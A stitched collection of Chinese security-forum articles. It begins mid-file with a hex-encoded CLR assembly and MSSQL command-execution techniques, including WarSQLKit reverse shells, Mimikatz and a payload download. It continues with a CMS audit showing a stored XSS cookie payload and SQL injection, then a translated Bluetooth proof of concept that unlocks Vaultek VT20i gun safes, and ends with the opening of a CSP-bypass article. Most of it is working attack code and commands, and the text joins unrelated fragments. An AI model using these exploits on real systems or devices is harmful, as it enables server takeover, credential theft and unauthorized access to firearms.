0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D00650000004400610074006100620061007300650031002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000004400610074006100620061007300650031002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000543C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
WITH PERMISSION_SET = UNSAFE;
GO
创建存储过程
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
go
### 执行命令
exec dbo.ExecCommand "whoami";
### 更强大的项目
https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit
## 0x04 R和Python的利用
前提条件：
* Machine Learning Services必须要在Python安装过程中选择
* 必须启用外部脚本
* EXEC sp_configure 'external scripts enabled', 1
* RECONFIGURE WITH OVERRIDE
* 重新启动数据库服务器
* 用户拥有执行任何外部脚本权限
MSSQL
2017加入了Microsoft机器学习服务，该服务允许通过MSSQL中`sp_execute_external_script`执行Python和R脚本
### R脚本利用
利用R执行命令：
sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe
/c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
利用R抓取Net-NTLM哈希：
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'
### Python脚本利用
Python 版本：
exec sp_execute_external_script
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'
WITH RESULT SETS ((python_version nvarchar(max)))
执行命令：
exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))
## 0x05 WarSQLKit
WarSQLKit是一个针对Mssql CLR进行利用的渗透工具，它存在以下两个版本。
* WarSQLKit
WarSQLKit是完全版本，内置多种功能。
* WarSQLKitMinimal
WarSQLKitMinimal是精简版，只能执行命令。
### 加载WarSQLKit
根据本文0X03 CLR利用的操作将WarSQLKit导入
创建存储过程
CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec
GO
### WarSQLKit CmdExec
WarSQLKit CmdExec实现了以下功能
1、执行任意Windows命令
EXEC sp_cmdExec 'whoami';
2、以NT AUTHORITY\SYSTEM权限执行Windows命令
EXEC sp_cmdExec 'whoami /RunSystemPriv';
3、以NT AUTHORITY\SYSTEM权限运行PowerShell命令
EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS';
4、生成一个以NT AUTHORITY\SYSTEM权限运行的X86 Meterpreter反向连接shell
EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem';
5、生成一个以NT AUTHORITY\SYSTEM权限运行的X64 Meterpreter反向连接shell
EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem';
6、生成一个以NT AUTHORITY\SYSTEM权限运行的X64 Meterpreter RC4反向连接shell
EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'
RC4PASSWORD=warsql
7、生成一个以NT AUTHORITY\SYSTEM权限运行的X86 meterpreter_bind_tcp shell
EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem';
8、运行Mimikatz功能抓取密码
EXEC sp_cmdExec 'sp_Mimikatz';
获取Mimikatz日志
select * from WarSQLKitTemp
9、文件下载
EXEC sp_cmdExec 'sp_downloadFile http://test.com/file.exe C:\ProgramData\file.exe 300';
10、获取MSSQL Hash
EXEC sp_cmdExec 'sp_getSqlHash';
11、获取Windows Product
EXEC sp_cmdExec 'sp_getProduct';
12、获取可用的数据库
EXEC sp_cmdExec 'sp_getDatabases';
## 0x06 备忘录
### 利用sp_addextendedproc恢复组件
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'
### 利用沙盒执行命令
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')
### 利用Agent Job执行命令
SQL Server代理是一项Microsoft Windows服务，它执行计划的管理任务，这些任务在SQL Server 2019（15.x）中称为作业。
创建作业
USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1'; | 社区文章 |
## **0x01、前言**
该文章是接着[某cms代码审计引发的思考](https://xz.aliyun.com/t/7775
"某cms代码审计引发的思考")这篇文章写的。该CMS是从CNVD上看到的，相关漏洞厂商并没有修复,没修复也就不说名字了，主要是提供一种思路，如果能在代码审计中帮到大家那就是最好了。
## **0x02、存储XSS漏洞**
首先自己注册一个账户然后登陆，在文章标题处插入XSS payload
payload:<details open ontoggle= confirm(document[`coo`+`kie`])>
管理员登录后台点击编辑且没有修改里面的字符串就保存的话那便会触发XSS漏洞
首先看一下在前台发表文章处的请求数据包
POST /user/release.html HTTP/1.1
Host: 127.0.0.1:8091
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 187
Origin: http://127.0.0.1:8091
Connection: close
Referer: http://127.0.0.1:8091/user/release.html
Cookie: PHPSESSID=t616fln4me32an09rj6v67vr5b
ajax=1&isshow=&molds=article&tid=2&title=%3Cdetails+open+ontoggle%3D+confirm(document%5B%60coo%60%2B%60kie%60%5D)%3E&keywords=&litpic=&description=123&body=%3Cp%3E123%3Cbr%2F%3E%3C%2Fp%3E
根据url定位到release函数
该函数主要是先检查是否是登录状态然后检查是否存在违禁词汇，其中违禁词汇取的是webconf['mingan']的值，由前篇文章可知数据存放在数据库中然后通过缓存读取相关信息，可以直接输出一下
过滤的东西和XSS关系不大，主要是涉及到文章敏感汉字之类的，然后被保存到数据库中的时候<>变成了< >
看下是如何进行操作的，继续跟进该函数，通过frparam函数进行操作之后对title进行赋值
frparam函数在获取到相关值后调用format_param函数对数据进行处理，由于传入的int的值为1.所以对传入的参数进行了html实体编码
所以在数据库中存储的是进行过实体编码的xss payload
最后登入后台看下编辑函数
POST /admin.php/Article/editarticle.html HTTP/1.1
Host: 127.0.0.1:8091
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 340
Origin: http://127.0.0.1:8091
Connection: close
Referer: http://127.0.0.1:8091/admin.php/Article/editarticle/id/34.html
Cookie: PHPSESSID=t616fln4me32an09rj6v67vr5b
go=1&id=34&title=%3Cdetails+open+ontoggle%3D+confirm(document%5B%60coo%60%2B%60kie%60%5D)%3E&tid=2&seo_title=%3Cdetails+open+ontoggle%3D+confirm(document%5B%60coo%60%2B%60kie%60%5D)%3E&hits=0&keywords=&litpic=&file=&description=123&orders=0&tags=&isshow=0&addtime=2020-05-28+17%3A17%3A39&target=&ownurl=&body=%3Cp%3E123%3Cbr%2F%3E%3C%2Fp%3E
看一下数据中的更新情况，又将< >变成了<>,所以触发了XSS漏洞
定位到漏洞函数editarticle，看到同样调用了frparam函数
frparam函数由于没有传入参数会直接返回url中的数据
在请求包中可以看到是已经将html实体化编码变成了原字符，所以data取到的数据时没有经过html编码的数据
所以在进行update更新操作的时候就会向数据库写入未经html实体化编码的数据
## **0x03、sql注入漏洞一**
同样还是在发表文章这
POST /user/release.html HTTP/1.1
Host: 127.0.0.1:8091
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 153
Origin: http://127.0.0.1:8091
Connection: close
Referer: http://127.0.0.1:8091/user/release/molds/article.html
Cookie: PHPSESSID=84mcpgsvrgnfag0fnl3ngjm2eo; XDEBUG_SESSION=PHPSTORM
ajax=1&isshow=&molds=article&tid=2&title=%3Cdetails+open+ontoggle%3D+confirm(document%5B%60coo%60%2B%60kie%60%5D)%3E&keywords=123&litpic=&description=123
可以看到有明显的时间延迟，存在基于时间的延迟注入
为了直观的展示是否进行了拼接sql语句的操作，监控下sql语句的执行，在mysql监控工具中可以看到没有任何过滤就进行了sql语句的拼接，触发了sql注入漏洞
定位到漏洞函数release函数，重点关注下sql语句的拼接问题，一共有两处进行了sql的拼接，只要在进行拼接前没有进行过滤就会存在sql注入漏洞
其中$this->classtypedata对应的是数据库中的classtype表中的数据
然后跟进到get_fields_data函数，根据xdebug调试代码的运行情况，发现fields为空，所以会直接返回data,其中并没有进行任何过滤
在release函数函数中只是要求$w['tid']!=0即可，所以我们可以在tid参数和molds参数处构造sql注入语句
用slmap跑的结果
## **0x04、sql注入漏洞二**
在更改个人资料处
POST /user/userinfo.html HTTP/1.1
Host: 127.0.0.1:8091
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 138
Origin: http://127.0.0.1:8091
Connection: close
Referer: http://127.0.0.1:8091/user/userinfo.html
Cookie: PHPSESSID=84mcpgsvrgnfag0fnl3ngjm2eo
Upgrade-Insecure-Requests: 1
litpic=&file=&username=test&tel=&email=1%401.com&sex=0&province=&city=&address=&password=&repassword=&signature=&submit=%E6%8F%90%E4%BA%A4
在userinfo函数中可以看到只对tel ,pass sex repass等参数进行了过滤，并不涉及province city
address等地址，意味着可以随意拼接sql语句触发 sql注入漏洞
通过mysql监控工具可以看到已经带入查询，触发了sql注入漏洞
通过sqlmap跑一下
## * _0x04、总结_
对于XSS的漏洞的审计，也看到过很多前端经过html实体化编码，然后在后端经过编辑后又以原始字符储存在了数据库里，所以在看到自己的payload进行了实体化编码也不要灰心，也许有意想不到的惊喜。对于SQL注入漏洞来说如果能结合sql语句来进行监控就更好了。对于查看mysql语句的执行情况当然可以通过查看日志的方式来实现。但是确实可读性不太大，用了几款sql语句监控工具，自己也造过轮子，比较来看一款java写的比较顺手，也算是比较经典吧(链接：<https://pan.baidu.com/s/1dHhJ6LF>
密码：o806。不知道什么时候就过期了，需要的可以自取)。这款CMS的审计工作至此也就告一段落了，总的来说挺适合新手阅读的，如果能帮到向我一样的新手那也是很有意义的一件事 | 社区文章 |
# 利用VT20i的漏洞通过蓝牙远程入侵你的枪支保险箱
##### 译文声明
本文是翻译文章，文章原作者 Two Six Labs，文章来源：twosixlabs.com
原文地址：<https://www.twosixlabs.com/bluesteal-popping-gatt-safes/>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
VT20i是一款非常受欢迎的产品（亚马逊热销产品之一），它的作用是保护用户枪支的安全。在这篇文章中，我们将跟大家介绍如何利用Vaultek
VT20i中的多个安全漏洞，这些漏洞包括CVE-2017-17435和CVE-2017-17436。我们将给出详细的PoC，而这些漏洞将允许我们通过发送特殊构造的蓝牙消息来解锁Vaultek
VT20i枪支保险箱。
## 漏洞描述
1. 有趣的漏洞-制造商的Android端应用程序允许他人无限制（不限次数）地尝试与保险箱进行配对。配对PIN码跟解锁PIN码是一样的，而这将允许攻击者通过暴力破解的方式获取配对PIN码，并最终解锁保险箱。
2. 非常有趣的漏洞-CVE-20170-17436：Android端应用程序跟保险箱之间的通信是没有经过加密的，配对成功之后，应用程序会以明文的形式发送保险箱的PIN码。根据官方网站以及厂商宣传材料中的描述，这种通信信道使用了“最高级别的蓝牙加密“，而数据传输使用了AES256加密。但是，厂商的这种宣传明显不符合事实。AES256加密并不支持蓝牙LE标准，而且此前也没有出现过AES256应用到更高层级的案例。虽然AES128支持蓝牙LE，但厂商并没有使用AES128。如果没有采用加密的话，他人将能够通过窃听保险箱和应用程序之间的通信数据来获取密码。
3. 简直不可思议-CVE-2017-17435：攻击者可在不知道解锁PIN码的情况下，通过特殊构造的蓝牙消息来远程解锁此型号产品线的任意枪支保险箱。手机端应用程序要求有效PIN码才可以操作保险箱，程序会要求用户输入PIN码并发送认证请求。但是，保险箱并不会对应用程序发送过来的PIN码进行验证，所以攻击者可以使用任意值来作为PIN码屏解锁枪支保险箱。
接下来，我们会跟大家详细介绍这些漏洞的技术细节。大家可以先观看下面给出的演示视频来了解漏洞的影响效果。
演示视频：<https://youtu.be/1xrdwhisW-M>
## 攻击非常简单
首先，我们需要获取用于跟保险箱通信的Android端APK文件【[下载地址](https://apkpure.com/vaultek/com.youhone.vaultek)】。我们使用的是v2.0.1，这款APK的开发厂商似乎是一家中国公司，公司名为Youhone。打开App之后，初始界面会要求用户使用PIN码来连接保险箱。
用于配对的连接PIN码其实跟枪支保险箱的解锁PIN码是一样的。成功配对之后，我们就可以利用App来执行保险箱的解锁命令了。
接下来，我们需要确定是否可以成功对其进行暴力破解攻击。PIN码是长度为4-8位的数字值，由于这个密钥空间相对较小，所以我们可以直接使用脚本来进行爆破攻击（使用ADB来操作Android端应用）。在最理想的攻击场景中（密码长度为4个字符），密码空间为5^4，遍历完整个密码空间大约需要72分钟。
下面给出的是我们的Python脚本，它可以通过ADB来与手机进行交互，并不断输入密码组合。当脚本测试出了正确的PIN码之后，保险箱将会自动打开。
import os
import itertools
import time
for combination in itertools.product(xrange(1,6),repeat=4):
print ''.join(map(str,combination))
os.system("adb shell input touchscreen tap 600 600")
time.sleep(5)
os.system("adb shell input text"+ ' "' + ''.join(map(str,combination)) + '"')
time.sleep(1)
os.system("adb shell input touchscreen tap 500 1100")
time.sleep(1)
os.system("adb shell input touchscreen tap 850 770")
厂商可以通过限制密码尝试请求或设置时间间隔来缓解这个漏洞所带来的影响。话虽如此，攻击者能用的方法可不只是暴力破解攻击这么简单。
## 逆向工程分析
Vaultek APK负责对保险箱进行配对和解锁，我们有两种方法来了解这些功能的运行机制：
1. 识别APK中负责生成解锁命令的代码，并对代码进行静态分析。
2. 捕捉发出的命令以及日志输出，并对其进行动态分析。
应用程序跟保险箱之间的通信使用的是低功耗蓝牙，关于该协议的内容可参考【[这篇文档](https://devzone.nordicsemi.com/tutorials/17/)】。
## 数据包捕获
我们使用了Ubertooth【[项目地址](https://github.com/greatscottgadgets/ubertooth)】来嗅探应用程序与保险箱之间的通信数据，并将捕捉到的数据记录在硬盘之中。
对捕捉到的数据包进行了分析测试之后，我们发现它并没有使用AES256加密，所有的控制命令都是以明文形式发送的。
接下来，我们就可以世界使用Android内置的蓝牙HCI日志了，关于如何使用这项功能（Android捕获对话信息），请参考【[这篇文章](https://drive.google.com/a/twosixlabs.com/file/d/1wPoibbj5_UISsKMBo-j_B4WO5pLBtqVa/view?usp=sharing)】。
在捕捉到的数据包中，我们可以看到有关低功耗蓝牙GATT的对话信息，注意其中的0xB以及0xA handle。
现在，我们可以回到APK中查看这些数据Payload代表的是什么了。
## APK代码分析
首先，我们可以使用[apktool](https://ibotpeaches.github.io/Apktool/)和[dex2jar](https://github.com/pxb1988/dex2jar)来提取APK中的类文件，然后使用[Luyten](https://github.com/deathmarine/Luyten)（Procyon反编译器的GUI版本）来审查反编译后的代码。
其中有一个名叫OrderUtilsVT20的类吸引了我们的注意，这个类中不仅包含了格式化的命令Payload代码，而且还包含了跟不同类型命令相关的变量。
static {
OrderUtilsVT20.PASSWORD = "12345678";
OrderUtilsVT20.AUTHOR = new byte[] { 0, 0, 0, 0 };
OrderUtilsVT20.CMD_AUTHOR = new byte[] { -128, -83 };
OrderUtilsVT20.CMD_INFO = new byte[] { 48, -51 };
OrderUtilsVT20.CMD_FINGER = new byte[] { 49, -51 };
OrderUtilsVT20.CMD_LOG = new byte[] { 50, -51 };
OrderUtilsVT20.CMD_DOOR = new byte[] { 51, -51 };
OrderUtilsVT20.CMD_SOUND = new byte[] { 52, -51 };
OrderUtilsVT20.CMD_LUMINANCE = new byte[] { 53, -51 };
OrderUtilsVT20.CMD_DELETE = new byte[] { 54, -51 };
OrderUtilsVT20.CMD_DELETE_ALL = new byte[] { 55, -51 };
OrderUtilsVT20.CMD_TIME = new byte[] { 56, -51 };
OrderUtilsVT20.CMD_DISCONNECT = new byte[] { 57, -51 };
OrderUtilsVT20.CMD_ERROR = new byte[] { 59, -51 };
OrderUtilsVT20.CMD_PAIR = new byte[] { 58, -51 };
OrderUtilsVT20.CMD_PAIRED = new byte[] { 58, -51 };
}
不幸的是，这些值并不会直接显示在我们捕捉到的数据包中。在进行了进一步分析之后，我们发现这是因为应用程序以及保险箱会执行一种奇怪的编码来对Payload数据进行封装处理。除此之外，APK还会将已编码的Payload拆分成长度为20字节的数据块，这跟我们捕捉到的数据包所显示的格式是相匹配的。
编码函数如下所示：
if (!StringUtil.isVT20(s)) {}
s = (String)(Object)new byte[array.length * 2 + 2];
s[0] = true;
s[s.length - 1] = -1;
for (int i = 0; i < array.length; ++i) {
final byte b = array[i];
final byte b2 = array[i];
s[i * 2 + 1] = (byte)(((b & 0xF0) >> 4) + 97);
s[i * 2 + 2] = (byte)((b2 & 0xF) + 97);
}
Label_0220: {
if (this.mGattCharacteristic != null && this.mBluetoothGatt != null) {
int length = s.length;
int n = 0;
while (true) {
Label_0185: {
if (length > 20) {
break Label_0185;
}
array = new byte[length];
System.arraycopy(s, n * 20, array, 0, length);
int i = 0;
Label_0173_Outer:
while (true) {
this.SendData(array);
++n;
while (true) {
try {
Thread.sleep(10L);
length = i;
if (i == 0) {
this.processNextSend();
return;
}
break;
array = new byte[20];
System.arraycopy(s, n * 20, array, 0, 20);
i = length - 20;
continue Label_0173_Outer;
发现了这一点之后，我们就可以对编码过程进行逆向分析了，我们的解码函数如下所示：
function decodePayload(payload){
var res = new Array();
for(var i=1;i<payload.length-1;i=i+2){
var tmp;
tmpA = payload[i]-97;
tmpB = payload[i+1]-97;
tmpC = (tmpA<<4) + tmpB;
res.push(tmpC);
}
return res;
}
使用这个解码函数来对捕捉到的Payload进行解码之后，我们就可以直接查看到应用程序发送给保险箱的控制命令了：
其中比较有意思的两个命令为getAuthor和openDoor。
下面给出的是getAuthor命令的代码：
public static byte[] getAuthor(final String password) {
if (password == null || password.length() <= 0) {
return null;
}
System.out.println("获取授权码 " + password);
setPASSWORD(password);
(OrderUtilsPro.data = new byte[24])[0] = -46;
OrderUtilsPro.data[1] = -61;
OrderUtilsPro.data[2] = -76;
OrderUtilsPro.data[3] = -91;
setTime();
OrderUtilsPro.data[8] = OrderUtilsPro.CMD_AUTHOR[0];
OrderUtilsPro.data[9] = OrderUtilsPro.CMD_AUTHOR[1];
setRandom();
setDateLength(4);
CRC();
setPassWord();
return OrderUtilsPro.data;
}
代码将会调用setPassWord方法，它将会把PIN码填充至getAuthor数据包的结尾。
public static void setPASSWORD(final String s) {
String password = s;
Label_0062: {
switch (s.length()) {
default: {}
case 4: {
password = "0000" + s;
break Label_0062;
}
case 7: {
password = "0" + s;
break Label_0062;
}
case 6: {
password = "00" + s;
break Label_0062;
}
case 5: {
password = "000" + s;
}
case 8: {
OrderUtilsPro.PASSWORD = password;
}
}
}
}
public static void setPassWord() {
for (int i = 0; i < 8; i += 2) {
OrderUtilsPro.data[23 - i / 2] = (byte)(int)Integer.valueOf(OrderUtilsPro.PASSWORD.substring(i, i + 2), 16);
}
}
getAuthor命令的结构如下所示：
由于在解锁保险箱的过程中，APK发送的编程PIN码并没有经过任何的加密处理，所以这就导致了第二个漏洞的出现，即以明文格式传输PIN码。
上述结构中末尾部分的PIN码会在getAuthor命令中以明文形式发送，而保险箱并不会对getAuthor数据包中的PIN码进行校验，并且无论PIN
码值是什么，它都会返回一个正确的认证令牌。
保险箱针对getAuthor命令的响应信息中包含了一个认证令牌（位于前四个字节数据中），而它所返回的信息中还包含openDoor消息所需使用的数据。因此，我们只需要获取到认证令牌中的认证代码，然后直接使用openDoor命令来打开保险箱即可。
下面显示的是com.youhone.vaultek.utils.ReceiveStatusVT20.ReceiveStatusVT20中的操作代码：
switch (this.param) {
default: {}
case 41001: {
System.out.println("获取授权码VT");
this.author[0] = array[0];
this.author[1] = array[1];
this.author[2] = array[2];
this.author[3] = array[3];
}
openDoor命令格式如下，其中前四个字节为认证代码：
最简化的保险箱开启步骤如下所示：
## PoC源码
下面给出的是可以用来打开Vaultek VT20i枪支保险箱的PoC源代码：
/*
Usage:
npm install noble
npm install split-buffer
node unlock.js
*/
var noble = require('noble');
var split = require('split-buffer');
var rawData = ["ThisIsWhere","TheRAWDataWouldGo"]
function d2h(d) {
var h = (+d).toString(16);
return h.length === 1 ? '0' + h : h;
}
function decodePayload(payload){
var res = new Array();
for(var i=1;i<payload.length-1;i=i+2){
var tmp;
tmpA = payload[i]-97;
tmpB = payload[i+1]-97;
tmpC = (tmpA<<4) + tmpB;
res.push(tmpC);
}
return res;
}
function encodePayload(payload){
var res = new Array();
res.push(0x01);
for(var i=0;i<payload.length;i=i+1){
var tmp;
tmpA = payload[i];
tmpB = (payload[i]>>4)+97;
tmpC = (payload[i]&0xF)+97;
res.push(tmpB);
res.push(tmpC);
}
res.push(0xff);
return res;
}
function CRC(target){
var tmp = 0;
for(var i=0;i<16;i=i+1){
tmp += target[i] & 0xFF
}
var carray = new Array();
carray.push(tmp&0xFF);
carray.push((tmp&0xFF00)>>8);
carray.push((tmp&0xFF0000)>>16);
carray.push((tmp&0xFF000000)>>24);
target[16] = carray.shift();
target[17] = carray.shift();
target[18] = carray.shift();
target[19] = carray.shift();
}
function scan(state){
if (state === 'poweredOn') { // if the radio's on, scan for this service
noble.startScanning();
console.log("[+] Started scanning");
} else { // if the radio's off, let the user know:
noble.stopScanning();
console.log("[+] Is Bluetooth on?");
}
}
var mcount = 0;
function findMe (peripheral) {
console.log('Discovered ' + peripheral.advertisement.localName);
if (String(peripheral.advertisement.localName).includes("VAULTEK")){
console.log('[+] Found '+peripheral.advertisement.localName)
}
else{
return;
}
noble.stopScanning();
peripheral.connect(function(error) {
console.log('[+] Connected to peripheral: ' + peripheral.uuid);
peripheral.discoverServices(['0e2d8b6d8b5e91d5b3706f0a1bc57ab3'],function(error, services) {
targetService = services[0];
targetService.discoverCharacteristics(['ffe1'], function(error, characteristics) {
// got our characteristic
targetCharacteristic = characteristics[0];
targetCharacteristic.subscribe(function(error){});
targetCharacteristic.discoverDescriptors(function(error, descriptors){
// write 0x01 to the descriptor
console.log('[+] Writing 0x01 to descriptor');
var descB = new Buffer('01','hex');
descriptor = descriptors[0];
descriptor.writeValue(descB,function(error){});
console.log('[+] Fetching authorization code');
message = split(Buffer.from(rawData.shift(),'hex'),20);
for(j in message){
targetCharacteristic.write(message[j],true,function(error) {});
}
});
targetCharacteristic.on('data', function(data, isNotification){
if(mcount==1)
{
process.exit()
}
mcount = mcount + 1;
data = decodePayload(data);
message = new Buffer.from(rawData.shift(),'hex');
message = decodePayload(message);
message[0] = data[0];
message[1] = data[1];
message[2] = data[2];
message[3] = data[3];
console.log("[+] Obtained Auth Code:");
console.log(d2h(data[0])+' '+d2h(data[1])+' '+d2h(data[2])+' '+d2h(data[3]));
CRC(message);
message = encodePayload(message)
message = new Buffer(message);
message = split(message,20);
console.log("[+] Unlocking Safe");
for(j in message){
targetCharacteristic.write(message[j],true,function(error) {});
}
return;
});
});
});
});
return;
}
noble.on('stateChange', scan); // when the BT radio turns on, start scanning
noble.on('discover', findMe);
该脚本所执行的操作如下：
1. 针对getAuthor和openDoor命令定义了两个模板Payload。
2. 扫描枪支保险箱，定位服务，通过UUID实例化我们所需要交互的保险箱。
3. 向客户端特征配置描述符中写入一个0x01值来启用通知。
4. 在长度为20字节的数据块中发送我们getAuthor编码模板Payload来实现命令写入，然后等待获取响应信息。
5. 解码响应信息，获取前四个字节的认证令牌，然后将获取到的认证代码填充至我们的openDoor命令模板之中。
6. 向保险箱发送openDoor命令之后，我们将能够成功打开保险箱。
## 缓解方案
我们建议受影响的用户将Vaultek
VT20i枪支保险箱切换到“旅行模式”，并禁用蓝牙功能。虽然“旅行模式”还会禁用掉距离传感器、键盘以及指纹扫描器，但是用户仍然可以使用钥匙来打开Vaultek
VT20i枪支保险箱。 | 社区文章 |
# csp绕过姿势
## 0x01 何为CSP
CSP（Content Security
Policy）即内容安全策略，为了缓解很大一部分潜在的跨站脚本问题，浏览器的扩展程序系统引入了内容安全策略（CSP）的一般概念。这将引入一些相当严格的策略，会使扩展程序在默认情况下更加安全，开发者可以创建并强制应用一些规则，管理网站允许加载的内容。
CSP的实质就是白名单机制，对网站加载或执行的资源进行安全策略的控制。
## 0x02 CSP语法
CSP中常见的header字段为Content-Security-Policy。
一个CSP头由多组CSP策略组成，中间由分号分隔，如下：
Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'
其中每一组策略包含一个策略指令和一个内容源列表。
### 策略指令
